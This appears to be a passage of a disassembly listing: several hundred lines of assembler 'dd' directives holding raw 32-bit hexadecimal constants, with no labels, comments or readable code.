		dd 4D62000Dh, 7F8806F7h, 0AC00C5E6h, 35E2B2C2h,	7D33B41h
		dd 0B5979DB1h, 0F29F90DDh, 0D2006966h, 76439818h, 6F4A1F52h
		dd 0B480CEEEh, 75403B3Ch, 366D5700h, 33A8308Ah,	595E0BDh
		dd 0AE0C8F11h, 0D0068028h, 975B40F5h, 8E0725A8h, 0B07E3B5Eh
		dd 2CCC6AB1h, 0AFBC6E00h, 6581401Ah, 59051787h,	0FBF0085h
		dd 1CF1500Ch, 1BD4130Ch, 32074h, 44D88F51h, 0DEFE2AFAh
		dd 0BA108E61h, 27DC8D4Ch, 9B1A033Ch, 0D5020894h, 0ECD119C9h
		dd 6F00A4C6h, 3F2B442Fh, 0F1ABEEBh, 739159E1h, 0B65B007Fh
		dd 0C1D01F45h, 0CDFEFF00h, 106AB906h, 8F21070Dh, 0CE825CECh
		dd 0F7000D2h, 8CB7D07Ch, 9172F400h, 55D73433h, 0C520FCDh
		dd 6F605BAAh, 97FE0DDEh, 80025A00h, 4CC14B35h, 0F6790013h
		dd 0D5C53A68h, 0DBE2F246h, 6118EB7Ch, 0B62275B5h, 12010EB2h
		dd 0E3C0082Eh, 0CF581647h, 0AF03E007h, 0D90750C5h, 0B7647ED0h
		dd 12990756h, 509146FFh, 0F2DBDDD0h, 8778EB1Dh,	28A805CCh
		dd 8D0F03F9h, 0B0E6AA85h, 6BBA26CBh, 0C4FDA880h, 1A00553Dh
		dd 3ECA8067h, 1F0C7E9h,	0ADED4796h, 0CCB44C18h,	3A0F42D6h
		dd 0E1686CDAh, 3DBA6628h, 0FF0010BFh, 1DC2B9C6h, 0A8073E0Ch
		dd 0E9D8B2B4h, 21766560h, 48E500EBh, 881F03Ah, 32759FC0h
		dd 0CE00E098h, 0C8FCB054h, 722CAD01h, 3B63009Bh, 229ED176h
		dd 0CE1D0885h, 21C02FB9h, 6238938Dh, 0E4013F4Ch, 4017C39Fh
		dd 2A57F425h, 9B3B8A11h, 8B46869Ch, 32A7E3Ch, 0FD3D6B28h
		dd 0D2806419h, 8C00A435h, 0D4AFE83Eh, 0ACD8C6h,	3A441AD3h
		dd 15A7723Fh, 5CBF8500h, 37018341h, 0B85000D9h,	580EEF1Dh
		dd 7E26B796h, 0E81D11DFh, 2D83007Eh, 0C8888D56h, 0E71324D2h
		dd 2A350BF7h, 546CDC00h, 2DEAD34Fh, 0D449EF09h,	15C0807Bh
		dd 79B793h, 8A6B18DEh, 0B8FFA90Dh, 0A6E1F503h, 0A3ECBE30h
		dd 0E02F804h, 0C7E49h, 932C5E2Fh, 34E078FDh, 1431D416h
		dd 242B4203h, 511100ACh, 7D3578EDh, 30F1A96Fh, 3D07B7D4h
		dd 0DDD848F0h, 0CFF184E3h, 0A51EDFD0h, 0F52EAECh, 70CCB4B0h
		dd 181F3420h, 8C00DD75h, 0EF4A4E2Fh, 0E05DAB9h,	2220D48Fh
		dd 32F06EC0h, 890019BCh, 343D0F56h, 35FB624h, 0ACDA2DE6h
		dd 0C0EF85DDh, 548BD729h, 23C0C3E3h, 5E00A02Bh,	6B8ACC4Dh
		dd 98A3AE67h, 0F38513D0h, 0E1610016h, 0EB575EC3h, 52696400h
		dd 2878199Bh, 4FAC00DBh, 966FB804h, 43054D11h, 0A4B62A80h
		dd 0C05B1DEEh, 8A099AA0h, 0CD00CEB3h, 753079BFh, 0AD5306h
		dd 8D8E9FFCh, 7FF67001h, 84299713h, 0A4A30800h,	0F8BC8752h
		dd 1FD57E16h, 40E2D4D9h, 0C24382AEh, 0EA009224h, 31AD4C0Fh
		dd 1E759919h, 80BAF8B5h, 0A562F998h, 0D4B86DCCh, 2184058h
		dd 0E3F7719Bh, 0A756606Ah, 445301EDh, 5FE0A16Bh, 0E6A83038h
		dd 9187740Eh, 0C457A0B5h, 784095h, 4BD66C2Ch, 0A7D5E576h
		dd 0FDD37000h, 0C47AE28Ch, 0BBD800CBh, 562741BDh, 890A12C8h
		dd 0D0D9C960h, 0CB10A400h, 0CC7EE9h, 2BBF7F83h,	308DE2FEh
		dd 0A251B50Ch, 0BC2004h, 0DEDD02FFh, 0CDF9FD6Bh, 3B3E633Ch
		dd 955F80D4h, 88A09BEEh, 0AFCC28D7h, 305508D0h,	985D0C6h
		dd 8490600Fh, 0ACC072h,	68A8BD6Bh, 6F507A73h, 0E6AE4400h
		dd 7F910C5Eh, 24E000C8h, 27CFCDF8h, 1700590Dh, 7A5814F5h
		dd 4AFF02h, 50F1977Bh, 3A776452h, 96119060h, 0E6B1E5EDh
		dd 0E1B50037h, 0B04E8FD0h, 5C000F34h, 0A5122875h, 60F8F3B8h
		dd 61BC167Ch, 0BE285863h, 0F500C8A3h, 908428D5h, 0D40864h
		dd 0EAAC0409h, 0BAA1A571h, 1C2F6CE2h, 8F2F40BBh, 0F631007Ah
		dd 286BED44h, 631D3678h, 3085D45Ah, 86C02B4Dh, 0A9BEC1h
		dd 4534BA37h, 0BCEB2217h, 2040604Ah, 89B5FA8Ah,	0BFC9018Eh
		dd 9B8C790Eh, 6159E809h, 9830DBF6h, 479130BDh, 1A880FB8h
		dd 0E1006504h, 3B861397h, 0F2100760h, 2F72F37h,	63F5DBA1h
		dd 858462Eh, 343CA324h,	0DF80E941h, 169431FCh, 4C6482h
		dd 61983D5Ch, 3A003E35h, 3FE937F3h, 94972D8Ah, 0EAFF0460h
		dd 400608AFh, 97058134h, 0BEDB1E00h, 0A44F8E58h, 295C00BAh
		dd 1044824Eh, 0F15CD11Dh, 52B51D61h, 90729100h,	787BF7h
		dd 0E73395AAh, 6B5499CAh, 9208500Fh, 9D4B0001h,	9AA9EC67h
		dd 3D9A00BCh, 0B994441h, 0D90F6251h, 46CEA252h,	2386306h
		dd 0DF58F57Fh, 74E07C43h, 0CD7B8412h, 1B8B4D01h, 2AA2F7B2h
		dd 0FAADECh, 433A0A0Bh,	734B3721h, 0DE690901h, 0E681E7E2h
		dd 12F45CD9h, 558A001Eh, 6B6EF279h, 0D93B19DFh,	77D70046h
		dd 0C7125482h, 416300D1h, 0F7C94C08h, 9E006DB3h, 7B5C9D5Bh
		dd 0DA8DA4h, 1AA8CD0Eh,	2BF495BCh, 0D93B8000h, 48502813h
		dd 0CC55004Ch, 99B7E9DAh, 16002B01h, 74644B05h,	31DF1h
		dd 8C801A8Fh, 0E2DCCA53h, 84D3FB00h, 0B274871Eh, 0F5DE05AAh
		dd 0D09258C0h, 0E945F85Ch, 0BE784600h, 4269C5A2h, 205F0097h
		dd 0BD86B336h, 94968F6Dh, 7A441758h, 2DEC022Eh,	2CEDE680h
		dd 0F26BF7E0h, 29948D01h, 42E8B333h, 0BB6470h, 0E0BE832Fh
		dd 0B496376Bh, 601B0207h, 9F40EA1Eh, 38289E17h,	8980B739h
		dd 0D734968h, 0E6005CFDh, 0FFD8C89Ch, 1E959251h, 960A1911h
		dd 5C87000Ch, 0E6B69A9Fh, 0B589D105h, 0C0CC044Dh, 80A0B0B3h
		dd 7FEE6A3h, 0FBAFCACCh, 650EF17Dh, 0EC47E197h,	1E00D3F6h
		dd 0DC9A39D0h, 0E08EC7BEh, 7674907Eh, 24084871h, 0D9EBB05h
		dd 0C1E080D9h, 0B901011Eh, 947334CDh, 93CC70FEh, 0E49C5C68h
		dd 28CBF801h, 0E2CE8103h, 1AC8977h, 0D30C1A62h,	0AB264462h
		dd 46690027h, 9AFC1D59h
		dd 727A3100h, 29E0B792h, 22AD126Dh, 82EC8579h, 0D04004F2h
		dd 7E00A44Bh, 5039F974h, 0A7B607h, 0EE17C7D2h, 304DBE8h
		dd 7EC3E30Fh, 0AA1CC06Ah, 9BB2244h, 7638AD5h, 0C0DD8005h
		dd 3C133257h, 0C0FD6ECh, 38CD6Dh, 0BA52A5E0h, 938F003Eh
		dd 6804B9F7h, 3F004812h, 674CC58h, 1DC3E8BEh, 40DEAF40h
		dd 5D1B287Ah, 65012C22h, 2A830A42h, 34C82B3Bh, 0AA740069h
		dd 60402DC8h, 980F03B6h, 84A8FE0Bh, 0E0C39792h,	946BC1FBh
		dd 5802CEC0h, 2C00384Bh, 76F2237Ah, 4400D0F4h, 67565131h
		dd 0D21AC5h, 22FCD7BEh,	0DC357CF2h, 9103257Eh, 5AC231BCh
		dd 1324C038h, 0C56601A9h, 7FE41B23h, 9A2D100Ah,	4D1A04ABh
		dd 90D5E09Eh, 0D2978460h, 0BC3A4200h, 569D404Ch, 458C0701h
		dd 0D0B49B5Dh, 2A94BB81h, 5B68A0A0h, 3858882Ch,	0D4003426h
		dd 607CA6AFh, 39BD7D37h, 0F50F8727h, 7E803C66h,	8634FD49h
		dd 3AE69530h, 0A4E363h,	4FAF7B5h, 0CB249CD5h, 0B89EC100h
		dd 6085B9BEh, 1F542EB1h, 0A6D3030Ah, 4899A0CDh,	0E3082059h
		dd 34033490h, 0A15A25A3h, 71000ADh, 441FF2F3h, 0B1056850h
		dd 0F8F4E2B7h, 0EAB4A804h, 121608E0h, 47AF34C0h, 0F46ED8Ch
		dd 0F01C92A0h, 0CD0070EAh, 367B1BA9h, 21FD0h, 0E88DD981h
		dd 38C44CD7h, 0EAE1561Fh, 0F9701180h, 0F1628Ah,	677B034Fh
		dd 0B79BBF44h, 21423D00h, 0E7EE5335h, 29D33E55h, 0DC2BD604h
		dd 665481AEh, 21F1FD07h, 19DC0039h, 0E7F48703h,	0C5C63D00h
		dd 0A5C7358Bh, 0D17660h, 30967B21h, 174B32DCh, 0BD976D1Fh
		dd 0EB954CC7h, 49600420h, 0F1111EE7h, 7A26800Fh, 0BEC8B1CDh
		dd 766CDE00h, 3B794039h, 46B20797h, 0C0D58E68h,	99ECB7FAh
		dd 0BED66928h, 6579F400h, 13DBCEDEh, 0C8EEA02Dh, 0FA1AC042h
		dd 364D9053h, 7BB3F300h, 1603A21Fh, 8190F2h, 9C2DE67Dh
		dd 1E70F801h, 0C9207660h, 7756CC6Ch, 335C000Ah,	0FC3ED426h
		dd 0DF007D29h, 94DD118Ch, 0FADE87h, 7BE53C75h, 6ED13253h
		dd 0B9549601h, 0C0A917F2h, 0EDC469E5h, 0BC6006Dh, 0E152AAA4h
		dd 4E008A58h, 0ECC03650h, 0AB9D17h, 22D8F47Bh, 0E95C9F1Ah
		dd 593D4718h, 7D5F1D2h,	0CF652B14h, 776CF060h, 820031A2h
		dd 3A5924E8h, 0BFA1EDBDh, 3200A578h, 1171E6B5h,	10EEA3h
		dd 233CCA30h, 206A6463h, 4289907h, 4AE0FB61h, 0E4705Bh
		dd 0D6AAAB24h, 892E8CA6h, 700C175h, 0E2CDD9F2h,	0EDF57Ch
		dd 0BB0A9BDFh, 123624D3h, 44028F00h, 0C1256B4Ah, 9920770h
		dd 805FA0DFh, 432652C2h, 849A3200h, 0FE7FCB4Bh,	38D9ECB0h
		dd 0F85A80h, 0FD21C2Dh,	0CB9A18B7h, 81954A3Fh, 0E4FDC5DAh
		dd 3AECE181h, 0EC701F5Ch, 3086F896h, 284902B9h,	800371F8h
		dd 9209253Ah, 79538874h, 0B57700B2h, 0BE67A584h, 0F4002A7Dh
		dd 32EF01D3h, 7D86F9Ch,	37C9AE04h, 1082E026h, 5000741Ah
		dd 0A849FB45h, 809F0h, 2BF26036h, 8D7196F3h, 6080B86Fh
		dd 512ED234h, 8458B797h, 18B1EF31h, 1088CA9Eh, 40BAA256h
		dd 32AA447Ch, 0DD132700h, 2F21208Fh, 54170334h,	81717FDEh
		dd 8019C491h, 0ED430C50h, 392B9B57h, 4C81B6C3h,	6D49CBF2h
		dd 775230EEh, 0B3B0DD00h, 0B2E8F416h, 3AC22407h, 368A0DE6h
		dd 0D315E078h, 6BE1200h, 3011849Fh, 60416176h, 705A8D04h
		dd 0C0080FCh, 0AD17541Bh, 719F3Eh, 916D4061h, 42E6FE08h
		dd 0D345F303h, 1ED1952Eh, 0DDFAC460h, 2BEF0238h, 0CCA367E7h
		dd 0F9008EEDh, 0C24E25F3h, 9CDFF11h, 3E5DEED3h,	9EF5FC00h
		dd 14002A3Bh, 331B6274h, 7B5D476h, 168A7D0Eh, 4519909Bh
		dd 79AF9F7h, 78B3082Ch,	44E91F00h, 1D0D2713h, 0E8A29CEBh
		dd 464A01CCh, 841EF4EDh, 85C04004h, 7F00D87Ch, 0BBB760BCh
		dd 0E0EFEEh, 2BECDC21h,	96906D08h, 0AB53B0Ch, 2BCB07Bh
		dd 0A7B2571Dh, 2C81C2ADh, 87A39E6Fh, 0A88B21D1h, 0D471E2B0h
		dd 13C800EBh, 43892F53h, 0F000AB6Fh, 1378D63h, 0BD94908Eh
		dd 49C0B5D0h, 0FE9D3E9Ch, 46840973h, 0CA0098E6h, 743CF931h
		dd 627D7B00h, 375CA0B0h, 393800A3h, 0D371EF98h,	0A1D696B7h
		dd 503DD70Dh, 343F3A60h, 80984337h, 824EC5C6h, 38AACA00h
		dd 715D1FC6h, 5FDF002Ch, 40EF2D37h, 7D3E61CCh, 128B8087h
		dd 3EC8FA1Fh, 0D8A0002h, 0F53865ACh, 4B0130F8h,	80A4DDA5h
		dd 0C5F82604h, 2D1C0635h, 29DCA921h, 6E7AE91Eh,	1068564Ch
		dd 1E5A76DBh, 0CD92D34h, 0E829C612h, 0AD49A90Fh, 0C31B602Ah
		dd 262BD0h, 0FD54FB56h,	73B0240Dh, 8C495A00h, 6CACF52Fh
		dd 4FFAD2h, 0F0149A8Eh,	217ADDE6h, 0D307E707h, 703C32C1h
		dd 413A0065h, 0CEEFB354h, 0FD00F419h, 2850FCAh,	7428D0BAh
		dd 81D607FFh, 0E08030C6h, 0E8E61296h, 0FE694700h, 4F93791Eh
		dd 8AF20004h, 64F8361Fh, 0BA0051A7h, 0DDB247Ch,	332F778h
		dd 0B0562886h, 0FCD8D838h, 0F916B404h, 15003588h, 5C81FFBh
		dd 9D78BEh, 0A5340D37h,	2895BC80h, 0DF13E300h, 0C6A8ADF5h
		dd 858A1263h, 5A25009Ch, 6C28AACDh, 661F29C4h, 0ECC8B300h
		dd 8700CB68h, 0D51143A5h, 9996D3h, 0E244A083h, 72CC78E0h
		dd 0F39FBA38h, 800A37Dh, 7D45DB10h, 0B80E39h, 59C88913h
		dd 6CFE1BFCh, 2B573200h, 3FBE92FAh, 68EF00C2h, 0CCC7CBDAh
		dd 3800693Dh, 50076731h, 0A73C73h, 329B4D10h, 0C59258BEh
		dd 0D5DBD100h, 57CDF7D8h, 3B87005Bh, 1F5C6118h,	0E700B51Dh
		dd 303404AFh, 0A021DA97h, 34AA78Ch, 5F3DAE02h, 0F39B625Ch
		dd 0FC524689h, 50000F6Ch, 764020F9h, 0C0DA3B2Fh, 744FD488h
		dd 0C80016F0h, 34D877DFh, 0FCE3E8h, 3F89FDEAh, 66640487h
		dd 0C6312400h, 616F8210h, 904F00DDh, 0B350EDA8h, 220086CCh
		dd 9C4CF46Ch, 0E35C7B5h, 63108D7Bh, 541DDC00h, 16009E94h
		dd 0EF7240DEh, 8A073Dh,	270178B0h, 351C04F9h, 6447F81Fh
		dd 0AD6D33C7h, 80C24630h, 0E4A60077h, 0F1FDCF88h, 36009654h
		dd 0A08B229Bh, 12E9FD1h, 6F498FFEh, 20E437CBh, 5290C08Bh
		dd 544E1F00h, 0A4B389B2h, 0F571015Ah, 0C2E323E4h, 91EA6013h
		dd 0AA154800h, 0EB9DE541h, 0AF810052h, 3CF01292h, 0A70084D9h
		dd 64C6D5FAh, 16B31FDCh, 195D882Ah, 60843495h, 293C5C51h
		dd 8002005Ah, 161F659Dh, 0A9F801F6h, 0AA20142Eh, 0E8D9CD29h
		dd 0D200156Eh, 0E572676Fh, 0FF7E44h, 1D438D95h,	0FB47AE80h
		dd 25940901h, 99C801CFh, 7634E0h, 0A8B74B14h, 0D4654E63h
		dd 6D53B900h, 72FD64CBh, 7F90D5h, 2F9D161Ah, 492BA596h
		dd 98ACD702h, 80588FF4h, 18CF5B50h, 0B25C0022h,	0FA4E3A9Ch
		dd 0BC00709Fh, 0C3F35AB3h, 0E1EFC8Bh, 59B7660Dh, 72F8EB40h
		dd 1600DCC1h, 55E9466Ch, 0F48D29E1h, 0FFC91701h, 0EA530F52h
		dd 207A3087h, 2BC826C6h, 0B0898101h, 520A9849h,	7AD3C880h
		dd 0ADB51B77h, 0C4F62100h, 12288FE8h, 1F6600D8h, 62FDD50Dh
		dd 0F100C66Eh, 614929B6h, 9121DEEh, 15D4E09Fh, 38E35400h
		dd 800A517h, 0EF233F75h, 22A93Eh, 13AEBA55h, 0B856F7DBh
		dd 0F4DAFB28h, 0EE882600h, 0C55F9B93h, 524F007Ah, 87E3CFF6h
		dd 0B2070403h, 655C8195h, 8F716C30h, 7529006Eh,	7FC7394Bh
		dd 0FE3083EAh, 81FB28B9h, 1898A469h, 0B821CF13h, 50076BC5h
		dd 25DBEC3Fh, 48F05680h, 0F822005Eh, 21B44243h,	36000A3Ch
		dd 63E5992Bh, 0F41C85E0h, 1B7C00CAh, 0B8C0A7FDh, 5E00F371h
		dd 0E220795Ch, 9047E60Ch
		dd 6350B78Ch, 8CBE9E00h, 4D497732h, 0AC9B50E8h,	37520004h
		dd 291A6FF1h, 4A1920B6h, 7A9817A8h, 769F30h, 3BF0D832h
		dd 45710F94h, 9821A260h, 7C55405h, 0A46B5D8Dh, 0E10CE05Eh
		dd 69FC6D6Ah, 8CAA0F00h, 0F932D043h, 8F0E01B7h,	7E728A82h
		dd 2907C8A2h, 6184BA00h, 7D2B863Fh, 0BF7FA3h, 392A2851h
		dd 0D7223DB7h, 95788378h, 4F142007h, 0B6318CCFh, 6BF82477h
		dd 0FFE800DCh, 54CBD826h, 3B7DC230h, 104F1912h,	378E802h
		dd 0EC808017h, 0ABF1CAh, 6C06C259h, 0DED0822Ah,	88005C90h
		dd 0D3A476E8h, 0FAF6BBF9h, 0EC7C0006h, 1B582E7Ah, 3F0FC1B3h
		dd 7F5049A2h, 9200E864h, 2D52C530h, 0F29B4805h,	0C067BA1Dh
		dd 5F766E10h, 0CE07DAE8h, 2CABF8F9h, 0AB4D190h,	0B72E39D5h
		dd 45A0908Fh, 12A7F2C0h, 2D3FC5CFh, 0BBC22C89h,	0E6200800h
		dd 0F71951h, 0E7054BE3h, 0EAFB58C9h, 424F0A00h,	2F20D36Ch
		dd 4DEC0093h, 0C4FFC1BCh, 0EA00264Ch, 0C564A956h, 71BA0C8h
		dd 5F2878F5h, 0CD2B6013h, 0CC7DF296h, 0B30BD212h, 64264C05h
		dd 0C1A64083h, 3020F76Ch, 0D3B04Ch, 7223276Dh, 0C053DB93h
		dd 7ED92B3Dh, 0C0FC6B48h, 61285E59h, 2D060241h,	0D95363F7h
		dd 2C33C077h, 8CE90166h, 68B608D0h, 640434F9h, 0E85EEE00h
		dd 98E136B3h, 94A10104h, 633A039Bh, 7660F0EAh, 0A4525700h
		dd 0B1C5257Ah, 71200F6h, 9EB841DDh, 0D503301Ch,	93EA60DFh
		dd 0B071A0E4h, 875816CDh, 4363009Ah, 530E3BA2h,	2600A071h
		dd 192F2CA8h, 294F1h, 88B6A59h,	6C91A7BBh, 180F7F24h, 0FF409C1Fh
		dd 0DD38A92Eh, 7FC4E8C7h, 2F3D0FB4h, 0E9CFE574h, 4200212h
		dd 9A8DCF29h, 0C6284011h, 6900B6B0h, 0D5286B8Ch, 4B5D7D9h
		dd 0C7D28B61h, 5104D039h, 85C371Bh, 73E90671h, 1185294h
		dd 0B671AF03h, 511A31FCh, 7429BB18h, 15032D58h,	0D34E980Ch
		dd 0AD02A0B1h, 0AF890042h, 31B41778h, 0A113E264h, 0B0001CC5h
		dd 0FB577DB0h, 0D4840029h, 661862EAh, 74003F2Eh, 50826F1Bh
		dd 3DC07196h, 0AF007D0Eh, 0D8D1FE5Bh, 70005553h, 0FCBFF65Eh
		dd 7D6D311h, 0C40326A1h, 0E1375032h, 9F0093D1h,	0D5DC65AAh
		dd 12390C53h, 2CBEFA8h,	270361A4h, 323430E0h, 0B0525A2Ah
		dd 388FA24h, 83B18E0Eh,	9A2608A7h, 90108255h, 0A81C8747h
		dd 1F89EFD0h, 73B603F3h, 0F58187FAh, 9D0116FEh,	20A54CAEh
		dd 0F03B0EB1h, 0F000E926h, 0FBF7217Fh, 5D6C5Bh,	292298BBh
		dd 31BC7789h, 6BD81E00h, 9521E634h, 27A917E3h, 0F71F10h
		dd 94460BF2h, 78026F59h, 674EFD88h, 44AE807Ah, 8F5E95h
		dd 0B2F6A25Ch, 1A1172EAh, 83BEB700h, 65EB7779h,	0D74D0070h
		dd 9B0BB906h, 39005511h, 4007FDE2h, 4CC92Fh, 4512EB83h
		dd 1F57D8B7h, 73527B00h, 0E943C25Ch, 0D5032504h, 6C3DC0D8h
		dd 7137801Ch, 8714E532h, 1AEC00D3h, 0BA0190Ch, 0E6123EEAh
		dd 3E10C7AFh, 0BE2D0098h, 51E79FABh, 85A90202h,	1FFCB2BFh
		dd 44A8AAh, 0AFC45A98h,	30928A2Eh, 9F035200h, 58346EF3h
		dd 0DAB024F5h, 64803D58h, 0B5DDFB4Fh, 7630A732h, 16E448F8h
		dd 181B60E0h, 18358312h, 9005FEEh, 1AB1F34Ah, 0AAFCF754h
		dd 892DC0E8h, 6A370006h, 3FD6E90Fh, 0DE5C28BEh,	0B8D20EFCh
		dd 0C88E20B4h, 13076527h, 0B7849Dh, 5E97AB70h, 0A7002DE6h
		dd 0F1C00BF8h, 33D6B1h,	0BD89B7AAh, 0E498EB08h,	8EA98300h
		dd 0F395CA70h, 946CA027h, 2B371CA3h, 0EACE0025h, 5C328A1Ah
		dd 698D4401h, 39F820B5h, 17075E4h, 557BEED5h, 0C7F443FDh
		dd 61BFAAC0h, 25B5CD0Ah, 3D86B09Ah, 0C61DBC9h, 0B1E37168h
		dd 0D700FEE9h, 12BCE028h, 39CCB379h, 9F80C44Ah,	0D3CE6514h
		dd 0AB00DBFEh, 4EC22CA5h, 60559CB8h, 6C8F5894h,	0D800E632h
		dd 3DA852B2h, 737E2Ah, 0E70AE4AAh, 9B04017Bh, 98F43000h
		dd 0C6385906h, 22923AFBh, 9D7AB200h, 47D3C9Ch, 96FDBD03h
		dd 0A0FC06F0h, 0B1B5C9h, 3510DA7Ah, 3D640AD1h, 0BB6B5900h
		dd 43D360B7h, 4E8F0006h, 0F6308076h, 517C3E71h,	44B2930Fh
		dd 0DB9A8147h, 188CB521h, 3505AE2h, 18A0343Eh, 6A18A46Dh
		dd 0F3A280B8h, 50C98730h, 0C00128E2h, 453751CEh, 0C6EC7AFCh
		dd 852DBC00h, 0F4A9B1E7h, 7E0800C3h, 0C4F3CBFh,	2200262Eh
		dd 0F1D8EBABh, 1F43F7A6h, 403BB571h, 59D1689Eh,	4F3A018Ch
		dd 0A1BF0014h, 61224217h, 54861F3Ch, 88F18E7h, 20C09309h
		dd 0E4177951h, 5B88009Bh, 0E1020659h, 2F00A836h, 673AD18Ah
		dd 72B7B8AFh, 0B24E308Ch, 56E82858h, 901E8000h,	0AEA14879h
		dd 0D723008Ah, 26BAFBD2h, 0DF00164Bh, 1DF472CEh, 38DC424h
		dd 0D1B7F3BFh, 5078EAC3h, 5A954100h, 38EEA347h,	52871D57h
		dd 0B85B0C2Fh, 200D420h, 0C60574C9h, 0C3C88Dh, 26A9FC6Fh
		dd 0EADF52E3h, 1E02AF07h, 0D8F33261h, 6EE5B3B9h, 730060D8h
		dd 0D18B447Ah, 2971AA00h, 49E50C34h, 0F2010C08h, 5F28EB62h
		dd 9F85040Fh, 4FA300E0h, 3071D443h, 9E493858h, 510086C8h
		dd 0A569AB2Eh, 3C7F4Dh,	0DF7748F0h, 84F60F53h, 3D1D9207h
		dd 0B870BFECh, 8C1737Dh, 0C0099F64h, 25456C00h,	0CA3C495h
		dd 7466C533h, 0C8674808h, 2CC02120h, 3CA4589h, 0A41322D5h
		dd 0E82A5424h, 0B7E8A4F2h, 2AB4F702h, 411E0373h, 8830F32Dh
		dd 0E4F0A5h, 44109D0Ch,	0CB8AF24Eh, 1D75A13Dh, 0AAC0F3ADh
		dd 0C83D8DCAh, 9FAC0079h, 24147EEDh, 7800E1FDh,	2947B737h
		dd 3DE8AFh, 26521E46h, 6DED40A2h, 483F3013h, 6C7CD30Fh
		dd 6A319BFh, 8062D8F8h,	0B60010BAh, 3402C92Ch, 1DD4DCB7h
		dd 40CA0D09h, 567F9DABh, 3798A2C4h, 0A3E3021Eh,	0CBC77DDFh
		dd 0A6204705h, 1A975F9h, 0B43FD231h, 0D01CF33Ch, 23002BE5h
		dd 0B690D355h, 0E2AA2F9h, 7B05061Fh, 4F777F81h,	0A57AF0C7h
		dd 6B182460h, 0E6C9379h, 7D6FAF51h, 0C0C301D1h,	0EEBF65E6h
		dd 0C329DDF0h, 74B80D48h, 0BFFE64A9h, 53C18028h, 0C5ED3FEAh
		dd 0B55200A2h, 723A72Ah, 160082D0h, 21F358FDh, 0F294D2h
		dd 45EF22A6h, 42CA9F88h, 4C0FA4F0h, 0BD83E5h, 0C5F03D5Bh
		dd 283B087h, 53D3416Ah,	9880A118h, 0DDCACEF9h, 3DA38403h
		dd 0F06D9A26h, 5F4EA4h,	5161467Fh, 89C1C696h, 0B9F1600h
		dd 9AB610E2h, 82E43D65h, 0B0173880h, 0EC7B8834h, 7AB885E2h
		dd 45002D78h, 39764D6h,	79CDE7h, 77A0065Eh, 0E0346F56h
		dd 0AEC9000h, 0B71BC543h, 28CC022Fh, 0F37B9132h, 8E76DEC1h
		dd 405EC150h, 44FEA906h, 712000E9h, 0EF8CCF49h,	4C751837h
		dd 7FCC39h, 9F603D35h, 0B719BFh, 40241544h, 183EFDFFh
		dd 0C595F600h, 27C778E8h, 0DC1118A8h, 0B7B60FCh, 0DF581307h
		dd 81A0B805h, 39702B66h, 7A804553h, 0C3AE8867h,	0E56071B2h
		dd 75BD2730h, 0EB040E3Dh, 4C80625Ah, 5206F95Ch,	5618890h
		dd 4B93CA18h, 83D2C601h, 0CD4AEC38h, 91A6A0C4h,	6D8000B9h
		dd 0AB40E6F3h, 0F0140145h, 8CEF20h, 284C5EA3h, 0FEBFC172h
		dd 38D61E49h, 0FD5FC1D8h, 0DCBD301Ch, 0C8FD392Ah, 91B04440h
		dd 18B47B30h, 808859C2h, 0A8F46EEBh, 82877F0Fh,	0DA996090h
		dd 1DE6D2Ch, 5692024Fh,	80B5F4C8h, 6683C221h, 6D1157h
		dd 0DE883B8Bh, 47FE8AB8h, 0E68D1D00h, 0E35490BBh, 851B07C9h
		dd 9076AD50h, 3579A7E8h, 40441701h, 0E26C870Fh,	0CB928970h
		dd 0C400F621h, 89BDD123h, 3819C200h, 0B8D7CC75h, 80E96009h
		dd 88FA495h
		dd 0DE83D03h, 0EA5997h,	385A32D0h, 0E9C7404Ah, 3591DF03h
		dd 9E7343E7h, 4B602188h, 20CE8E9Fh, 6414C844h, 0E54740DEh
		dd 718BEB34h, 0E6F633h,	6539FC7Dh, 0BDD732E3h, 10A21502h
		dd 0DF3EFEF1h, 40461141h, 247E9EACh, 12D390Bh, 0BC198E9Ch
		dd 551D4080h, 52604Eh, 9547E7EAh, 886D01B1h, 23644400h
		dd 8D9C6754h, 0E08F004Dh, 2642895Fh, 0B6E893FEh, 0ECE5241Eh
		dd 0B7580D80h, 0E3C14ABAh, 21940898h, 8900C885h, 6E5F1552h
		dd 376B351h, 9E358D68h,	502360BDh, 0A450021h, 2F6F557Ch
		dd 407E4942h, 0C5009034h, 0DB1AF289h, 6647Eh, 1C9EE46h
		dd 1360B534h, 24B95200h, 0A9CFAAD4h, 3676145Ah,	0BA14DCCAh
		dd 8B293460h, 42DA5B3Ch, 7935BF18h, 14BB0157h, 34C3BD70h
		dd 0FCCED1ACh, 0A702B6CAh, 23FB8176h, 3AEC6045h, 0B2F2019Bh
		dd 5AF94FABh, 810ED1A5h, 222D6F21h, 84718B69h, 5080EA31h
		dd 3CA45F94h, 5700D6C8h, 6587F6B2h, 0F7C670h, 76E5424Bh
		dd 401D308Ah, 31EC644Eh, 0FFA92B00h, 844B4ABCh,	75CE7901h
		dd 8A6A2588h, 35FE8h, 669060FDh, 0CF3083C3h, 0EAE17D0Eh
		dd 181B6507h, 6D6F53C0h, 0A04100BBh, 0F8945E22h, 270F52AEh
		dd 6F7EFB9Dh, 468040AAh, 5BC52201h, 929D80B7h, 0B000727Fh
		dd 33A8977Ah, 7452CB2h,	740C0B87h, 1C7D70BFh, 5FE82BBAh
		dd 80B1A63Ch, 45A71EFCh, 0F83C9474h, 50AE030Ah,	651A145Ch
		dd 0D56DABD1h, 7E21F477h, 0AD9AB517h, 339C6200h, 2D7021Bh
		dd 9130F8F3h, 88C31DE2h, 0C0C57800h, 9CCB2168h,	207418A6h
		dd 0DE6A20A3h, 0CC2D041Fh, 691E5D16h, 34C78400h, 70B2AAh
		dd 5C89378Ch, 82A5BAB1h, 8449200h, 6E280B0Dh, 0E27F30h
		dd 454E76BDh, 0E03E111Dh, 9838027Fh, 0DA850161h, 258D2DA7h
		dd 0FE3D71D0h, 59DD006Ah, 84B6A303h, 0EFE66330h, 4035DC00h
		dd 1B27D356h, 9B070043h, 0E1A30AF3h, 0B1007728h, 0DC58204Eh
		dd 0EC51E8h, 32E51FADh,	13570B1Eh, 30809D30h, 0CD44FCh
		dd 0E8C6FE33h, 0D9C0F588h, 87E8298h, 5E25500h, 0E717CD36h
		dd 0C4BC003Ch, 0C97D5881h, 0E97EAFBFh, 0CD68EF00h, 0FD9680E5h
		dd 589960DFh, 8B4981C3h, 635FAA00h, 73FA32C2h, 7ED50B31h
		dd 120F53E2h, 806AB944h, 6C1293DEh, 985B9D1Eh, 0DA5FB03h
		dd 0C21800B3h, 27A4B968h, 0A26043D7h, 905F380h,	0C70B00F2h
